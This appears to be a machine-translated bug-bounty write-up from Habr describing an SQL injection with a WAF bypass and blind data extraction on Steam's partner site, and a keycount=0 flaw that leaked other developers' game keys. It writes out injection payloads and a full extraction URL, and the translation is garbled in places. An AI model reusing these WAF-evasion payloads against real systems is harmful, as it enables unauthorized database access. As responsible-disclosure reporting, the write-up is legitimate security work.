Wie ich Steam gehackt habe. Zweimal

    Hi, Habr! Heute werde ich Ihnen sagen, was Valve in der Geschichte ihres Belohnungsprogramms für Schwachstellen am meisten bezahlt hat. Willkommen unter dem Schnitt!



    1. SQL-Injektion


    Service partner.steampowered.com entworfen Dampffinanzpartner zu bekommen. Auf der Seite mit den Verkaufsberichten wird ein Diagramm mit Schaltflächen gezeichnet, die den Anzeigedauer der Statistiken ändern. Hier befinden sie sich in einem grünen Rechteck: Die



    Anforderung zum Laden von Statistiken sieht folgendermaßen aus:


    Dabei ist „UA“ der Ländercode.

    Nun, es ist Zeit Zitate!
    Versuchen wir es mit „UA“: Die



    Statistiken wurden NICHT zurückgegeben, was zu erwarten war.

    Nun "UA": Die



    Statistiken sind zurück und es sieht aus wie eine Spritze!

    Warum
    Angenommen, die Datenbankanweisung sieht folgendermaßen aus:

    SELECT * FROM countries WHERE country_code = `UA`;

    Wenn Sie UA 'senden, lautet die Anweisung an die Datenbank:

    SELECT * FROM countries WHERE country_code = `UA``; 

    Beachten Sie das zusätzliche Zitat? Dies bedeutet, dass die Anweisung ungültig ist.
    Entsprechend der SQL-Syntax ist die folgende Abfrage vollständig gültig (es gibt keine zusätzlichen Anführungszeichen):

    SELECT * FROM countries WHERE country_code = `UA```;

    Beachten Sie, dass wir es mit einem Array von countryFilter [] zu tun haben . Ich nahm an, dass, wenn in der Anforderung der Parameter countryFilter [] mehrmals dupliziert wird , alle von uns gesendeten Werte in der SQL-Abfrage auf folgende Weise kombiniert werden:

    'value1', 'value2', 'value3'

    Wir prüfen und stellen sicher:



    Tatsächlich haben wir die Statistiken von drei Ländern aus der Datenbank angefordert:

    `UA`, `,` ,`RU`

    Die Syntax ist korrekt - die zurückgegebenen Statistiken :) Die

    Umgehung der

    Steam-Server der Web Application Firewall wird hinter Akamai WAF versteckt. Diese Schande bringt einen Stock in die Räder guter (und nicht sehr) Hacker. Es gelang mir jedoch, es zu überwinden, indem ich die Werte des Arrays in einer Abfrage kombinierte (was ich oben erklärt habe) und kommentiere. Stellen Sie zuerst sicher, dass der letzte:

    ?countryFilter[]=UA`/*&countryFilter[]=*/,`RU

    Die Anfrage ist gültig, daher gibt es Kommentare in unserem Sortiment.
    Wir hatten mehrere Varianten der Syntax, lokale Datenbanken zum Testen von Nutzlasten, Kommentarsymbole und eine unendliche Anzahl von Anführungszeichen für alle Kodierungen sowie selbstgeschriebene Skripts auf Python, Dokumentation in allen Datenbanken, Anweisungen zum Umgehen von Firewalls, Wikipedia und Anti-Mail. Nicht, dass es die notwendige Reserve für die Förderung der Injektion war, aber da die Datenbank zu brechen begann, ist es schwer zu stoppen ...
    WAF blockiert die Anforderung, wenn eine Funktion gefunden wird. Wussten Sie, dass DB_NAME / ** / () ein gültiger Funktionsaufruf ist? Die Firewall weiß und blockiert auch. Dank dieser Funktion können wir den Funktionsaufruf jedoch in zwei Parameter unterteilen!

    ?countryFilter[]=UA’,DB_NAME/*&countryFilter[]=*/(),’RU

    Wir haben eine Anfrage von DB_NAME / * gesendet, trotzdem * / () - WAF hat nichts verstanden, aber die Datenbank hat eine solche Anweisung erfolgreich verarbeitet.

    Werte aus der Datenbank

    abrufen Beispiel für das Abrufen der Länge des DB_NAME () - Werts:

    https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),'
    

    In SQL:

    SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END

    Nun, menschlich:

    Если длина DB_NAME() равна "1", то результат  “UA”, иначе результат “qwerty”.

    Das heißt, wenn der Vergleich stimmt, erhalten wir als Antwort Statistiken für das Land „UA“. Es ist nicht schwer zu erraten, dass wir die Werte von 1 bis unendlich durchgehen, früher oder später werden wir die richtigen Werte finden.

    Auf dieselbe Weise können Sie Textwerte durchlaufen:

    Если первый символ  DB_NAME() равен “a”, то "UA", иначе "qwerty". 

    Normalerweise wird die Funktion "Teilzeichenfolge" verwendet, um das N-te Zeichen zu erhalten, aber WAF hat es hartnäckig blockiert. Hier kam die Kombination zur Rettung:

    right(left(system_user,N),1)

    Wie funktioniert das? Wir erhalten N Zeichen von system_user value, von denen wir den letzten Wert nehmen.
    Stellen Sie sich vor, dass system_user = "Dampf" ist. So sieht das dritte Zeichen aus:

    left(system_user,3) = ste
    right(“ste”,1) = e

    Mit einem einfachen Skript wurde dieser Prozess automatisiert und ich erhielt den Hostnamen, den Systembenutzer, die Version und die Namen aller Datenbanken. Diese Informationen sind mehr als genug (letzteres ist sogar überflüssig, aber es war interessant), um Kritikalität zu demonstrieren.

    Nach 5 Stunden wurde die Verwundbarkeit korrigiert, aber nach 8 Stunden wurde ihr der Status von triaged (adoptiert) hinzugefügt, und für mich waren es sehr schwierige 3 Stunden, in denen mein Gehirn die Stufen von der Leugnung bis zur Akzeptanz überleben konnte.

    Klarstellung der Paranoia
    Da die Sicherheitsanfälligkeit nicht als akzeptiert eingestuft wurde, habe ich eingestellt, dass meine Wende zum Bericht noch nicht erreicht wurde. Aber der Fehler wurde behoben, was bedeutet, dass er vor mir hätte gemeldet werden können.

    2. Holen Sie sich alle Schlüssel aus einem beliebigen Spiel


    In der Steam-Partneroberfläche gibt es die Funktionalität, Schlüssel für die Spiele zu generieren.
    Laden Sie den generierten Schlüsselsatz mit der folgenden Anforderung herunter:

    https://partner.steamgames.com/partnercdkeys/assignkeys/
    &sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download

    In dieser Abfrage ist der keyid- Parameter die ID des Schlüsselsatzes und keycount ist die Anzahl der Schlüssel, die aus dem angegebenen Satz abgerufen werden müssen.

    Natürlich streckten meine Hände sofort nach verschiedenen Keyids , aber als Antwort darauf erhielt ich einen Fehler: „ CD-Schlüssel konnten nicht generiert werden: Keine Zuweisung für Benutzer. ". Es stellte sich nicht so einfach heraus und Steam überprüfte, ob der angeforderte Schlüsselsatz mir gehörte. Wie bin ich um diesen Scheck herumgekommen? Aufmerksamkeit ...

    keycount=0

    Erzeuge eine Datei mit 36.000 Schlüsseln aus dem Spielportal 2. Wow.
    Nur ein Satz stellte die Anzahl der Tasten fest. Und die Gesamtmenge beträgt im Moment mehr als 430.000. Durch die Keyid- Werte war ich ein potenzieller Angreifer, der alle Schlüssel herunterladen konnte, die jemals von den Steam-Spielentwicklern generiert wurden.

    Schlussfolgerungen


    • Kostspielige WAF-Systeme von Top-Unternehmen sind keine Garantie für die Sicherheit Ihrer Webanwendungen.
    • Wenn Sie ein Insektenjäger sind, versuchen Sie, so tief wie möglich einzudringen. Je weniger Benutzer Zugriff auf die Benutzeroberfläche haben, desto wahrscheinlicher ist es, eine Sicherheitsanfälligkeit in dieser Benutzeroberfläche zu finden.
    • Entwickler und Unternehmer, es gibt keine absolut sicheren Anwendungen! Aber du bleibst stehen. Gute Laune!

    Aber im Ernst
    Machen Sie Pentests, zahlen Sie für Schwachstellen, denken Sie strategisch.

    Jetzt auch beliebt: